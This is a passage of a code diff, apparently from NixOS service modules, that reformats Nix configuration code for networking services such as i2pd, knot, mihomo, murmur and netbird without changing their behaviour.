-          (intOpt "inbound.length" cfg.exploratory.inbound.length)
-          (intOpt "inbound.quantity" cfg.exploratory.inbound.quantity)
-          (intOpt "outbound.length" cfg.exploratory.outbound.length)
-          (intOpt "outbound.quantity" cfg.exploratory.outbound.quantity)
-          (sec "ntcp2")
-          (boolOpt "enabled" cfg.ntcp2.enable)
-          (boolOpt "published" cfg.ntcp2.published)
-          (intOpt "port" cfg.ntcp2.port)
-          (sec "addressbook")
-          (strOpt "defaulturl" cfg.addressbook.defaulturl)
-        ]
-        ++ (optionalEmptyList "subscriptions" cfg.addressbook.subscriptions)
-        ++ [
-          (sec "meshnets")
-          (boolOpt "yggdrasil" cfg.yggdrasil.enable)
-        ]
-        ++ (optionalNullString "yggaddress" cfg.yggdrasil.address)
-        ++ (lib.flip map (lib.collect (proto: proto ? port && proto ? address) cfg.proto) (
-          proto:
-          let
-            protoOpts =
-              [
-                (sec proto.name)
-                (boolOpt "enabled" proto.enable)
-                (strOpt "address" proto.address)
-                (intOpt "port" proto.port)
-              ]
-              ++ (optionals (proto ? keys) (optionalNullString "keys" proto.keys))
-              ++ (optionals (proto ? auth) (optionalNullBool "auth" proto.auth))
-              ++ (optionals (proto ? user) (optionalNullString "user" proto.user))
-              ++ (optionals (proto ? pass) (optionalNullString "pass" proto.pass))
-              ++ (optionals (proto ? strictHeaders) (optionalNullBool "strictheaders" proto.strictHeaders))
-              ++ (optionals (proto ? hostname) (optionalNullString "hostname" proto.hostname))
-              ++ (optionals (proto ? outproxy) (optionalNullString "outproxy" proto.outproxy))
-              ++ (optionals (proto ? outproxyPort) (optionalNullInt "outproxyport" proto.outproxyPort))
-              ++ (optionals (proto ? outproxyEnable) (optionalNullBool "outproxy.enabled" proto.outproxyEnable));
-          in
-          (lib.concatStringsSep "\n" protoOpts)
-        ));
+      opts = [
+        notice
+        (strOpt "loglevel" cfg.logLevel)
+        (boolOpt "logclftime" cfg.logCLFTime)
+        (boolOpt "ipv4" cfg.enableIPv4)
+        (boolOpt "ipv6" cfg.enableIPv6)
+        (boolOpt "notransit" cfg.notransit)
+        (boolOpt "floodfill" cfg.floodfill)
+        (intOpt "netid" cfg.netid)
+      ]
+      ++ (optionalNullInt "bandwidth" cfg.bandwidth)
+      ++ (optionalNullInt "port" cfg.port)
+      ++ (optionalNullString "family" cfg.family)
+      ++ (optionalNullString "datadir" cfg.dataDir)
+      ++ (optionalNullInt "share" cfg.share)
+      ++ (optionalNullBool "ssu" cfg.ssu)
+      ++ (optionalNullBool "ntcp" cfg.ntcp)
+      ++ (optionalNullString "ntcpproxy" cfg.ntcpProxy)
+      ++ (optionalNullString "ifname" cfg.ifname)
+      ++ (optionalNullString "ifname4" cfg.ifname4)
+      ++ (optionalNullString "ifname6" cfg.ifname6)
+      ++ [
+        (sec "limits")
+        (intOpt "transittunnels" cfg.limits.transittunnels)
+        (intOpt "coresize" cfg.limits.coreSize)
+        (intOpt "openfiles" cfg.limits.openFiles)
+        (intOpt "ntcphard" cfg.limits.ntcpHard)
+        (intOpt "ntcpsoft" cfg.limits.ntcpSoft)
+        (intOpt "ntcpthreads" cfg.limits.ntcpThreads)
+        (sec "upnp")
+        (boolOpt "enabled" cfg.upnp.enable)
+        (sec "precomputation")
+        (boolOpt "elgamal" cfg.precomputation.elgamal)
+        (sec "reseed")
+        (boolOpt "verify" cfg.reseed.verify)
+      ]
+      ++ (optionalNullString "file" cfg.reseed.file)
+      ++ (optionalEmptyList "urls" cfg.reseed.urls)
+      ++ (optionalNullString "floodfill" cfg.reseed.floodfill)
+      ++ (optionalNullString "zipfile" cfg.reseed.zipfile)
+      ++ (optionalNullString "proxy" cfg.reseed.proxy)
+      ++ [
+        (sec "trust")
+        (boolOpt "enabled" cfg.trust.enable)
+        (boolOpt "hidden" cfg.trust.hidden)
+      ]
+      ++ (optionalEmptyList "routers" cfg.trust.routers)
+      ++ (optionalNullString "family" cfg.trust.family)
+      ++ [
+        (sec "websockets")
+        (boolOpt "enabled" cfg.websocket.enable)
+        (strOpt "address" cfg.websocket.address)
+        (intOpt "port" cfg.websocket.port)
+        (sec "exploratory")
+        (intOpt "inbound.length" cfg.exploratory.inbound.length)
+        (intOpt "inbound.quantity" cfg.exploratory.inbound.quantity)
+        (intOpt "outbound.length" cfg.exploratory.outbound.length)
+        (intOpt "outbound.quantity" cfg.exploratory.outbound.quantity)
+        (sec "ntcp2")
+        (boolOpt "enabled" cfg.ntcp2.enable)
+        (boolOpt "published" cfg.ntcp2.published)
+        (intOpt "port" cfg.ntcp2.port)
+        (sec "addressbook")
+        (strOpt "defaulturl" cfg.addressbook.defaulturl)
+      ]
+      ++ (optionalEmptyList "subscriptions" cfg.addressbook.subscriptions)
+      ++ [
+        (sec "meshnets")
+        (boolOpt "yggdrasil" cfg.yggdrasil.enable)
+      ]
+      ++ (optionalNullString "yggaddress" cfg.yggdrasil.address)
+      ++ (lib.flip map (lib.collect (proto: proto ? port && proto ? address) cfg.proto) (
+        proto:
+        let
+          protoOpts = [
+            (sec proto.name)
+            (boolOpt "enabled" proto.enable)
+            (strOpt "address" proto.address)
+            (intOpt "port" proto.port)
+          ]
+          ++ (optionals (proto ? keys) (optionalNullString "keys" proto.keys))
+          ++ (optionals (proto ? auth) (optionalNullBool "auth" proto.auth))
+          ++ (optionals (proto ? user) (optionalNullString "user" proto.user))
+          ++ (optionals (proto ? pass) (optionalNullString "pass" proto.pass))
+          ++ (optionals (proto ? strictHeaders) (optionalNullBool "strictheaders" proto.strictHeaders))
+          ++ (optionals (proto ? hostname) (optionalNullString "hostname" proto.hostname))
+          ++ (optionals (proto ? outproxy) (optionalNullString "outproxy" proto.outproxy))
+          ++ (optionals (proto ? outproxyPort) (optionalNullInt "outproxyport" proto.outproxyPort))
+          ++ (optionals (proto ? outproxyEnable) (optionalNullBool "outproxy.enabled" proto.outproxyEnable));
+        in
+        (lib.concatStringsSep "\n" protoOpts)
+      ));
     in
     pkgs.writeText "i2pd.conf" (lib.concatStringsSep "\n" opts);
 
@@ -224,40 +222,38 @@ let
       mkOutTunnel =
         tun:
         let
-          outTunOpts =
-            [
-              (sec tun.name)
-              "type = client"
-              (intOpt "port" tun.port)
-              (strOpt "destination" tun.destination)
-            ]
-            ++ (optionals (tun ? destinationPort) (optionalNullInt "destinationport" tun.destinationPort))
-            ++ (optionals (tun ? keys) (optionalNullString "keys" tun.keys))
-            ++ (optionals (tun ? address) (optionalNullString "address" tun.address))
-            ++ (optionals (tun ? inbound.length) (optionalNullInt "inbound.length" tun.inbound.length))
-            ++ (optionals (tun ? inbound.quantity) (optionalNullInt "inbound.quantity" tun.inbound.quantity))
-            ++ (optionals (tun ? outbound.length) (optionalNullInt "outbound.length" tun.outbound.length))
-            ++ (optionals (tun ? outbound.quantity) (optionalNullInt "outbound.quantity" tun.outbound.quantity))
-            ++ (optionals (tun ? crypto.tagsToSend) (
-              optionalNullInt "crypto.tagstosend" tun.crypto.tagsToSend
-            ));
+          outTunOpts = [
+            (sec tun.name)
+            "type = client"
+            (intOpt "port" tun.port)
+            (strOpt "destination" tun.destination)
+          ]
+          ++ (optionals (tun ? destinationPort) (optionalNullInt "destinationport" tun.destinationPort))
+          ++ (optionals (tun ? keys) (optionalNullString "keys" tun.keys))
+          ++ (optionals (tun ? address) (optionalNullString "address" tun.address))
+          ++ (optionals (tun ? inbound.length) (optionalNullInt "inbound.length" tun.inbound.length))
+          ++ (optionals (tun ? inbound.quantity) (optionalNullInt "inbound.quantity" tun.inbound.quantity))
+          ++ (optionals (tun ? outbound.length) (optionalNullInt "outbound.length" tun.outbound.length))
+          ++ (optionals (tun ? outbound.quantity) (optionalNullInt "outbound.quantity" tun.outbound.quantity))
+          ++ (optionals (tun ? crypto.tagsToSend) (
+            optionalNullInt "crypto.tagstosend" tun.crypto.tagsToSend
+          ));
         in
         lib.concatStringsSep "\n" outTunOpts;
 
       mkInTunnel =
         tun:
         let
-          inTunOpts =
-            [
-              (sec tun.name)
-              "type = server"
-              (intOpt "port" tun.port)
-              (strOpt "host" tun.address)
-            ]
-            ++ (optionals (tun ? destination) (optionalNullString "destination" tun.destination))
-            ++ (optionals (tun ? keys) (optionalNullString "keys" tun.keys))
-            ++ (optionals (tun ? inPort) (optionalNullInt "inport" tun.inPort))
-            ++ (optionals (tun ? accessList) (optionalEmptyList "accesslist" tun.accessList));
+          inTunOpts = [
+            (sec tun.name)
+            "type = server"
+            (intOpt "port" tun.port)
+            (strOpt "host" tun.address)
+          ]
+          ++ (optionals (tun ? destination) (optionalNullString "destination" tun.destination))
+          ++ (optionals (tun ? keys) (optionalNullString "keys" tun.keys))
+          ++ (optionals (tun ? inPort) (optionalNullInt "inport" tun.inPort))
+          ++ (optionals (tun ? accessList) (optionalEmptyList "accesslist" tun.accessList));
         in
         lib.concatStringsSep "\n" inTunOpts;
 
@@ -678,7 +674,8 @@ in
                   default = null;
                   description = "Connect to particular port at destination.";
                 };
-              } // commonTunOpts name;
+              }
+              // commonTunOpts name;
               config = {
                 name = mkDefault name;
               };
@@ -707,7 +704,8 @@ in
                   default = [ ];
                   description = "I2P nodes that are allowed to connect to this service.";
                 };
-              } // commonTunOpts name;
+              }
+              // commonTunOpts name;
               config = {
                 name = mkDefault name;
               };
diff --git a/nixos/modules/services/networking/jibri/default.nix b/nixos/modules/services/networking/jibri/default.nix
index 94018ef99f4b..ea99cb0f321e 100644
--- a/nixos/modules/services/networking/jibri/default.nix
+++ b/nixos/modules/services/networking/jibri/default.nix
@@ -71,7 +71,8 @@ let
       "--enabled"
       "--disable-infobars"
       "--autoplay-policy=no-user-gesture-required"
-    ] ++ lists.optional cfg.ignoreCert "--ignore-certificate-errors";
+    ]
+    ++ lists.optional cfg.ignoreCert "--ignore-certificate-errors";
 
     stats.enable-stats-d = true;
     webhook.subscribers = [ ];
diff --git a/nixos/modules/services/networking/jitsi-videobridge.nix b/nixos/modules/services/networking/jitsi-videobridge.nix
index e488b07caa4a..a55760d5cae2 100644
--- a/nixos/modules/services/networking/jitsi-videobridge.nix
+++ b/nixos/modules/services/networking/jitsi-videobridge.nix
@@ -253,7 +253,8 @@ in
           "-Dconfig.file" = format.generate "jvb.conf" jvbConfig;
           # Mitigate CVE-2021-44228
           "-Dlog4j2.formatMsgNoLookups" = true;
-        } // (lib.mapAttrs' (k: v: lib.nameValuePair "-D${k}" v) cfg.extraProperties);
+        }
+        // (lib.mapAttrs' (k: v: lib.nameValuePair "-D${k}" v) cfg.extraProperties);
       in
       {
         aliases = [ "jitsi-videobridge.service" ];
diff --git a/nixos/modules/services/networking/jool.nix b/nixos/modules/services/networking/jool.nix
index e782bd587fc5..ea73eb123384 100644
--- a/nixos/modules/services/networking/jool.nix
+++ b/nixos/modules/services/networking/jool.nix
@@ -102,7 +102,8 @@ let
         ExecStartPre = "${pkgs.kmod}/bin/modprobe jool";
         ExecStart = "${jool-cli}/bin/jool file handle ${nat64Conf name}";
         ExecStop = "${jool-cli}/bin/jool -f ${nat64Conf name} instance remove";
-      } // hardening;
+      }
+      // hardening;
     };
   };
 
@@ -118,7 +119,8 @@ let
         ExecStartPre = "${pkgs.kmod}/bin/modprobe jool_siit";
         ExecStart = "${jool-cli}/bin/jool_siit file handle ${siitConf name}";
         ExecStop = "${jool-cli}/bin/jool_siit -f ${siitConf name} instance remove";
-      } // hardening;
+      }
+      // hardening;
     };
   };
 
diff --git a/nixos/modules/services/networking/kea.nix b/nixos/modules/services/networking/kea.nix
index 39b2380cadd3..2b142f61152d 100644
--- a/nixos/modules/services/networking/kea.nix
+++ b/nixos/modules/services/networking/kea.nix
@@ -325,7 +325,8 @@ in
               ExecStart = "${package}/bin/kea-ctrl-agent -c /etc/kea/ctrl-agent.conf ${lib.escapeShellArgs cfg.ctrl-agent.extraArgs}";
               KillMode = "process";
               Restart = "on-failure";
-            } // commonServiceConfig;
+            }
+            // commonServiceConfig;
           };
         })
 
@@ -377,7 +378,8 @@ in
                 "CAP_NET_BIND_SERVICE"
                 "CAP_NET_RAW"
               ];
-            } // commonServiceConfig;
+            }
+            // commonServiceConfig;
           };
         })
 
@@ -427,7 +429,8 @@ in
               CapabilityBoundingSet = [
                 "CAP_NET_BIND_SERVICE"
               ];
-            } // commonServiceConfig;
+            }
+            // commonServiceConfig;
           };
         })
 
@@ -474,7 +477,8 @@ in
               CapabilityBoundingSet = [
                 "CAP_NET_BIND_SERVICE"
               ];
-            } // commonServiceConfig;
+            }
+            // commonServiceConfig;
           };
         })
 
diff --git a/nixos/modules/services/networking/knot.nix b/nixos/modules/services/networking/knot.nix
index 12a72bfe02c7..9702dfdbcb2c 100644
--- a/nixos/modules/services/networking/knot.nix
+++ b/nixos/modules/services/networking/knot.nix
@@ -364,10 +364,12 @@ in
 
           AmbientCapabilities = [
             "CAP_NET_BIND_SERVICE"
-          ] ++ xdpCapabilities;
+          ]
+          ++ xdpCapabilities;
           CapabilityBoundingSet = [
             "CAP_NET_BIND_SERVICE"
-          ] ++ xdpCapabilities;
+          ]
+          ++ xdpCapabilities;
           DeviceAllow = "";
           DevicePolicy = "closed";
           LockPersonality = true;
@@ -388,16 +390,15 @@ in
           ProtectSystem = "strict";
           RemoveIPC = true;
           Restart = "on-abort";
-          RestrictAddressFamilies =
-            [
-              "AF_INET"
-              "AF_INET6"
-              "AF_UNIX"
-            ]
-            ++ optionals (cfg.enableXDP) [
-              "AF_NETLINK"
-              "AF_XDP"
-            ];
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+            "AF_UNIX"
+          ]
+          ++ optionals (cfg.enableXDP) [
+            "AF_NETLINK"
+            "AF_XDP"
+          ];
           RestrictNamespaces = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
@@ -405,15 +406,14 @@ in
           StateDirectory = "knot";
           StateDirectoryMode = "0700";
           SystemCallArchitectures = "native";
-          SystemCallFilter =
-            [
-              "@system-service"
-              "~@privileged"
-              "@chown"
-            ]
-            ++ optionals (cfg.enableXDP) [
-              "bpf"
-            ];
+          SystemCallFilter = [
+            "@system-service"
+            "~@privileged"
+            "@chown"
+          ]
+          ++ optionals (cfg.enableXDP) [
+            "bpf"
+          ];
           UMask = "0077";
         };
     };
diff --git a/nixos/modules/services/networking/kresd.nix b/nixos/modules/services/networking/kresd.nix
index 40440fbd16cc..1dacf5c97a9d 100644
--- a/nixos/modules/services/networking/kresd.nix
+++ b/nixos/modules/services/networking/kresd.nix
@@ -170,7 +170,8 @@ in
       wantedBy = [ "multi-user.target" ];
       wants = [
         "kres-cache-gc.service"
-      ] ++ map (i: "kresd@${toString i}.service") (lib.range 1 cfg.instances);
+      ]
+      ++ map (i: "kresd@${toString i}.service") (lib.range 1 cfg.instances);
     };
     systemd.services."kresd@".serviceConfig = {
       ExecStart =
diff --git a/nixos/modules/services/networking/libreswan.nix b/nixos/modules/services/networking/libreswan.nix
index 916b6f8293d0..5cc5f512af7a 100644
--- a/nixos/modules/services/networking/libreswan.nix
+++ b/nixos/modules/services/networking/libreswan.nix
@@ -153,7 +153,8 @@ in
       '';
       "ipsec.conf".source = "${pkgs.libreswan}/etc/ipsec.conf";
       "ipsec.d/01-nixos.conf".source = configFile;
-    } // policyFiles;
+    }
+    // policyFiles;
 
     systemd.services.ipsec = {
       description = "Internet Key Exchange (IKE) Protocol Daemon for IPsec";
diff --git a/nixos/modules/services/networking/microsocks.nix b/nixos/modules/services/networking/microsocks.nix
index 9956b8f158eb..6d95f6db67bf 100644
--- a/nixos/modules/services/networking/microsocks.nix
+++ b/nixos/modules/services/networking/microsocks.nix
@@ -13,23 +13,22 @@ let
       "${cfg.execWrapper} ${cfg.package}/bin/microsocks"
     else
       "${cfg.package}/bin/microsocks";
-  args =
-    [
-      "-i"
-      cfg.ip
-      "-p"
-      (toString cfg.port)
-    ]
-    ++ lib.optionals (cfg.authOnce) [ "-1" ]
-    ++ lib.optionals (cfg.disableLogging) [ "-q" ]
-    ++ lib.optionals (cfg.outgoingBindIp != null) [
-      "-b"
-      cfg.outgoingBindIp
-    ]
-    ++ lib.optionals (cfg.authUsername != null) [
-      "-u"
-      cfg.authUsername
-    ];
+  args = [
+    "-i"
+    cfg.ip
+    "-p"
+    (toString cfg.port)
+  ]
+  ++ lib.optionals (cfg.authOnce) [ "-1" ]
+  ++ lib.optionals (cfg.disableLogging) [ "-q" ]
+  ++ lib.optionals (cfg.outgoingBindIp != null) [
+    "-b"
+    cfg.outgoingBindIp
+  ]
+  ++ lib.optionals (cfg.authUsername != null) [
+    "-u"
+    cfg.authUsername
+  ];
 in
 {
   options.services.microsocks = {
diff --git a/nixos/modules/services/networking/mihomo.nix b/nixos/modules/services/networking/mihomo.nix
index 05d3d304d460..cc2130575260 100644
--- a/nixos/modules/services/networking/mihomo.nix
+++ b/nixos/modules/services/networking/mihomo.nix
@@ -62,56 +62,55 @@ in
       requires = [ "network-online.target" ];
       after = [ "network-online.target" ];
       wantedBy = [ "multi-user.target" ];
-      serviceConfig =
-        {
-          ExecStart = lib.concatStringsSep " " [
-            (lib.getExe cfg.package)
-            "-d /var/lib/private/mihomo"
-            "-f \${CREDENTIALS_DIRECTORY}/config.yaml"
-            (lib.optionalString (cfg.webui != null) "-ext-ui ${cfg.webui}")
-            (lib.optionalString (cfg.extraOpts != null) cfg.extraOpts)
-          ];
+      serviceConfig = {
+        ExecStart = lib.concatStringsSep " " [
+          (lib.getExe cfg.package)
+          "-d /var/lib/private/mihomo"
+          "-f \${CREDENTIALS_DIRECTORY}/config.yaml"
+          (lib.optionalString (cfg.webui != null) "-ext-ui ${cfg.webui}")
+          (lib.optionalString (cfg.extraOpts != null) cfg.extraOpts)
+        ];
 
-          DynamicUser = true;
-          StateDirectory = "mihomo";
-          LoadCredential = "config.yaml:${cfg.configFile}";
+        DynamicUser = true;
+        StateDirectory = "mihomo";
+        LoadCredential = "config.yaml:${cfg.configFile}";
 
-          ### Hardening
-          AmbientCapabilities = "";
-          CapabilityBoundingSet = "";
-          DeviceAllow = "";
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          NoNewPrivileges = true;
-          PrivateDevices = true;
-          PrivateMounts = true;
-          PrivateTmp = true;
-          PrivateUsers = true;
-          ProcSubset = "pid";
-          ProtectClock = true;
-          ProtectControlGroups = true;
-          ProtectHome = true;
-          ProtectHostname = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          ProtectSystem = "strict";
-          RestrictRealtime = true;
-          RestrictSUIDSGID = true;
-          RestrictNamespaces = true;
-          RestrictAddressFamilies = "AF_INET AF_INET6";
-          SystemCallArchitectures = "native";
-          SystemCallFilter = "@system-service bpf";
-          UMask = "0077";
-        }
-        // lib.optionalAttrs cfg.tunMode {
-          AmbientCapabilities = "CAP_NET_ADMIN";
-          CapabilityBoundingSet = "CAP_NET_ADMIN";
-          PrivateDevices = false;
-          PrivateUsers = false;
-          RestrictAddressFamilies = "AF_INET AF_INET6 AF_NETLINK";
-        };
+        ### Hardening
+        AmbientCapabilities = "";
+        CapabilityBoundingSet = "";
+        DeviceAllow = "";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateMounts = true;
+        PrivateTmp = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        RestrictNamespaces = true;
+        RestrictAddressFamilies = "AF_INET AF_INET6";
+        SystemCallArchitectures = "native";
+        SystemCallFilter = "@system-service bpf";
+        UMask = "0077";
+      }
+      // lib.optionalAttrs cfg.tunMode {
+        AmbientCapabilities = "CAP_NET_ADMIN";
+        CapabilityBoundingSet = "CAP_NET_ADMIN";
+        PrivateDevices = false;
+        PrivateUsers = false;
+        RestrictAddressFamilies = "AF_INET AF_INET6 AF_NETLINK";
+      };
     };
   };
 
diff --git a/nixos/modules/services/networking/mosquitto.nix b/nixos/modules/services/networking/mosquitto.nix
index 9753d0a4a542..c9e0a2738fa5 100644
--- a/nixos/modules/services/networking/mosquitto.nix
+++ b/nixos/modules/services/networking/mosquitto.nix
@@ -717,7 +717,8 @@ in
         ReadWritePaths = [
           cfg.dataDir
           "/tmp" # mosquitto_passwd creates files in /tmp before moving them
-        ] ++ lib.filter path.check cfg.logDest;
+        ]
+        ++ lib.filter path.check cfg.logDest;
         ReadOnlyPaths = map (p: "${p}") (
           cfg.includeDirs
           ++ lib.filter (v: v != null) (
diff --git a/nixos/modules/services/networking/mtprotoproxy.nix b/nixos/modules/services/networking/mtprotoproxy.nix
index fa97131b737a..2efe5af6f4b2 100644
--- a/nixos/modules/services/networking/mtprotoproxy.nix
+++ b/nixos/modules/services/networking/mtprotoproxy.nix
@@ -11,14 +11,13 @@ let
 
   cfg = config.services.mtprotoproxy;
 
-  configOpts =
-    {
-      PORT = cfg.port;
-      USERS = cfg.users;
-      SECURE_ONLY = cfg.secureOnly;
-    }
-    // lib.optionalAttrs (cfg.adTag != null) { AD_TAG = cfg.adTag; }
-    // cfg.extraConfig;
+  configOpts = {
+    PORT = cfg.port;
+    USERS = cfg.users;
+    SECURE_ONLY = cfg.secureOnly;
+  }
+  // lib.optionalAttrs (cfg.adTag != null) { AD_TAG = cfg.adTag; }
+  // cfg.extraConfig;
 
   convertOption =
     opt:
diff --git a/nixos/modules/services/networking/murmur.nix b/nixos/modules/services/networking/murmur.nix
index aa205d1f60b4..fc11384fc69d 100644
--- a/nixos/modules/services/networking/murmur.nix
+++ b/nixos/modules/services/networking/murmur.nix
@@ -412,44 +412,43 @@ in
       })
     ];
 
-    security.apparmor.policies."bin.mumble-server".profile =
-      ''
-        include <tunables/global>
+    security.apparmor.policies."bin.mumble-server".profile = ''
+      include <tunables/global>
 
-        ${cfg.package}/bin/{mumble-server,.mumble-server-wrapped} {
-          include <abstractions/base>
-          include <abstractions/nameservice>
-          include <abstractions/ssl_certs>
-          include "${pkgs.apparmorRulesFromClosure { name = "mumble-server"; } cfg.package}"
-          pix ${cfg.package}/bin/.mumble-server-wrapped,
+      ${cfg.package}/bin/{mumble-server,.mumble-server-wrapped} {
+        include <abstractions/base>
+        include <abstractions/nameservice>
+        include <abstractions/ssl_certs>
+        include "${pkgs.apparmorRulesFromClosure { name = "mumble-server"; } cfg.package}"
+        pix ${cfg.package}/bin/.mumble-server-wrapped,
 
-          r ${config.environment.etc."os-release".source},
-          r ${config.environment.etc."lsb-release".source},
-          owner rwk ${cfg.stateDir}/murmur.sqlite,
-          owner rw ${cfg.stateDir}/murmur.sqlite-journal,
-          owner r ${cfg.stateDir}/,
-          r /run/murmur/murmurd.pid,
-          r /run/murmur/murmurd.ini,
-          r ${configFile},
-      ''
-      + optionalString (cfg.logFile != null) ''
-        rw ${cfg.logFile},
-      ''
-      + optionalString (cfg.sslCert != "") ''
-        r ${cfg.sslCert},
-      ''
-      + optionalString (cfg.sslKey != "") ''
-        r ${cfg.sslKey},
-      ''
-      + optionalString (cfg.sslCa != "") ''
-        r ${cfg.sslCa},
-      ''
-      + optionalString (cfg.dbus != null) ''
-        dbus bus=${cfg.dbus}
-      ''
-      + ''
-        }
-      '';
+        r ${config.environment.etc."os-release".source},
+        r ${config.environment.etc."lsb-release".source},
+        owner rwk ${cfg.stateDir}/murmur.sqlite,
+        owner rw ${cfg.stateDir}/murmur.sqlite-journal,
+        owner r ${cfg.stateDir}/,
+        r /run/murmur/murmurd.pid,
+        r /run/murmur/murmurd.ini,
+        r ${configFile},
+    ''
+    + optionalString (cfg.logFile != null) ''
+      rw ${cfg.logFile},
+    ''
+    + optionalString (cfg.sslCert != "") ''
+      r ${cfg.sslCert},
+    ''
+    + optionalString (cfg.sslKey != "") ''
+      r ${cfg.sslKey},
+    ''
+    + optionalString (cfg.sslCa != "") ''
+      r ${cfg.sslCa},
+    ''
+    + optionalString (cfg.dbus != null) ''
+      dbus bus=${cfg.dbus}
+    ''
+    + ''
+      }
+    '';
   };
 
   meta.maintainers = with lib.maintainers; [ felixsinger ];
diff --git a/nixos/modules/services/networking/nat.nix b/nixos/modules/services/networking/nat.nix
index 71a719d6d8db..87457beb39a5 100644
--- a/nixos/modules/services/networking/nat.nix
+++ b/nixos/modules/services/networking/nat.nix
@@ -196,21 +196,20 @@ in
 
     boot = {
       kernelModules = [ "nf_nat_ftp" ];
-      kernel.sysctl =
-        {
-          "net.ipv4.conf.all.forwarding" = mkOverride 99 true;
-          "net.ipv4.conf.default.forwarding" = mkOverride 99 true;
-        }
-        // optionalAttrs cfg.enableIPv6 {
-          # Do not prevent IPv6 autoconfiguration.
-          # See <http://strugglers.net/~andy/blog/2011/09/04/linux-ipv6-router-advertisements-and-forwarding/>.
-          "net.ipv6.conf.all.accept_ra" = mkOverride 99 2;
-          "net.ipv6.conf.default.accept_ra" = mkOverride 99 2;
+      kernel.sysctl = {
+        "net.ipv4.conf.all.forwarding" = mkOverride 99 true;
+        "net.ipv4.conf.default.forwarding" = mkOverride 99 true;
+      }
+      // optionalAttrs cfg.enableIPv6 {
+        # Do not prevent IPv6 autoconfiguration.
+        # See <http://strugglers.net/~andy/blog/2011/09/04/linux-ipv6-router-advertisements-and-forwarding/>.
+        "net.ipv6.conf.all.accept_ra" = mkOverride 99 2;
+        "net.ipv6.conf.default.accept_ra" = mkOverride 99 2;
 
-          # Forward IPv6 packets.
-          "net.ipv6.conf.all.forwarding" = mkOverride 99 true;
-          "net.ipv6.conf.default.forwarding" = mkOverride 99 true;
-        };
+        # Forward IPv6 packets.
+        "net.ipv6.conf.all.forwarding" = mkOverride 99 true;
+        "net.ipv6.conf.default.forwarding" = mkOverride 99 true;
+      };
     };
 
   };
diff --git a/nixos/modules/services/networking/ncdns.nix b/nixos/modules/services/networking/ncdns.nix
index f12a2be5f913..ee3f38f33e2a 100644
--- a/nixos/modules/services/networking/ncdns.nix
+++ b/nixos/modules/services/networking/ncdns.nix
@@ -202,28 +202,27 @@ in
     };
 
     services.ncdns.settings = mkDefaultAttrs {
-      ncdns =
-        {
-          # Namecoin RPC
-          namecoinrpcaddress = "${cfgs.namecoind.rpc.address}:${toString cfgs.namecoind.rpc.port}";
-          namecoinrpcusername = cfgs.namecoind.rpc.user;
-          namecoinrpcpassword = cfgs.namecoind.rpc.password;
+      ncdns = {
+        # Namecoin RPC
+        namecoinrpcaddress = "${cfgs.namecoind.rpc.address}:${toString cfgs.namecoind.rpc.port}";
+        namecoinrpcusername = cfgs.namecoind.rpc.user;
+        namecoinrpcpassword = cfgs.namecoind.rpc.password;
 
-          # Identity
-          selfname = cfg.identity.hostname;
-          hostmaster = cfg.identity.hostmaster;
-          selfip = cfg.identity.address;
+        # Identity
+        selfname = cfg.identity.hostname;
+        hostmaster = cfg.identity.hostmaster;
+        selfip = cfg.identity.address;
 
-          # Other
-          bind = "${cfg.address}:${toString cfg.port}";
-        }
-        // lib.optionalAttrs cfg.dnssec.enable {
-          # DNSSEC
-          publickey = "../.." + cfg.dnssec.keys.public;
-          privatekey = "../.." + cfg.dnssec.keys.private;
-          zonepublickey = "../.." + cfg.dnssec.keys.zonePublic;
-          zoneprivatekey = "../.." + cfg.dnssec.keys.zonePrivate;
-        };
+        # Other
+        bind = "${cfg.address}:${toString cfg.port}";
+      }
+      // lib.optionalAttrs cfg.dnssec.enable {
+        # DNSSEC
+        publickey = "../.." + cfg.dnssec.keys.public;
+        privatekey = "../.." + cfg.dnssec.keys.private;
+        zonepublickey = "../.." + cfg.dnssec.keys.zonePublic;
+        zoneprivatekey = "../.." + cfg.dnssec.keys.zonePrivate;
+      };
 
       # Daemon
       service.daemon = true;
diff --git a/nixos/modules/services/networking/netbird.nix b/nixos/modules/services/networking/netbird.nix
index 1dc5267563dd..c2718bc51b9f 100644
--- a/nixos/modules/services/networking/netbird.nix
+++ b/nixos/modules/services/networking/netbird.nix
@@ -386,30 +386,28 @@ in
               };
             };
 
-            config.environment =
-              {
-                NB_STATE_DIR = client.dir.state;
-                NB_CONFIG = "${client.dir.state}/config.json";
-                NB_DAEMON_ADDR = "unix://${client.dir.runtime}/sock";
-                NB_INTERFACE_NAME = client.interface;
-                NB_LOG_FILE = mkOptionDefault "console";
-                NB_LOG_LEVEL = client.logLevel;
-                NB_SERVICE = client.service.name;
-                NB_WIREGUARD_PORT = toString client.port;
-              }
-              // optionalAttrs (client.dns-resolver.address != null) {
-                NB_DNS_RESOLVER_ADDRESS = "${client.dns-resolver.address}:${builtins.toString client.dns-resolver.port}";
-              };
+            config.environment = {
+              NB_STATE_DIR = client.dir.state;
+              NB_CONFIG = "${client.dir.state}/config.json";
+              NB_DAEMON_ADDR = "unix://${client.dir.runtime}/sock";
+              NB_INTERFACE_NAME = client.interface;
+              NB_LOG_FILE = mkOptionDefault "console";
+              NB_LOG_LEVEL = client.logLevel;
+              NB_SERVICE = client.service.name;
+              NB_WIREGUARD_PORT = toString client.port;
+            }
+            // optionalAttrs (client.dns-resolver.address != null) {
+              NB_DNS_RESOLVER_ADDRESS = "${client.dns-resolver.address}:${builtins.toString client.dns-resolver.port}";
+            };
 
-            config.config =
-              {
-                DisableAutoConnect = !client.autoStart;
-                WgIface = client.interface;
-                WgPort = client.port;
-              }
-              // optionalAttrs (client.dns-resolver.address != null) {
-                CustomDNSAddress = "${client.dns-resolver.address}:${builtins.toString client.dns-resolver.port}";
-              };
+            config.config = {
+              DisableAutoConnect = !client.autoStart;
+              WgIface = client.interface;
+              WgPort = client.port;
+            }
